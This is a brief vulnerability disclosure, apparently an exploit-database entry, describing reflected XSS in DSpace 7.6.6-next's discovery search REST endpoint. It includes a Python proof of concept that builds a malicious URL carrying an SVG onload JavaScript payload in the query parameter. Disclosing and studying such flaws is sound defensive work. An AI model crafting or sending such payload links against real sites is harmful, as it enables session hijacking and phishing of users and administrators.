[+] Summary    : A critical Reflected Cross-Site Scripting (XSS) vulnerability has been identified in DSpace version 7.6.6-next, specifically within the Discovery Search REST API.

The issue arises due to improper input sanitization of the query parameter in the endpoint:

/server/api/discover/search/objects

An attacker can craft a malicious URL containing a specially encoded payload (e.g., SVG-based JavaScript execution) that, when visited by a victim, executes arbitrary JavaScript in the context of the trusted domain.

This vulnerability could allow attackers to:

Hijack user sessions

Steal sensitive data

Perform actions on behalf of authenticated users (including administrators)

The flaw is particularly dangerous because it can be exploited via simple link sharing (phishing/social engineering), without requiring authentication.
	
[+] POC   :  

import urllib.parse

target_url = "https://example/server/api/discover/search/objects"
payload = "<svg onload=alert('XSS_SUCCESS_DOMAIN_'+document.domain)>"

final_url = f"{target_url}?query={urllib.parse.quote(payload)}"

print("-" * 50)
print(" URL by indoushkq ")
print("-" * 50)
print(final_url)
print("-" * 50)
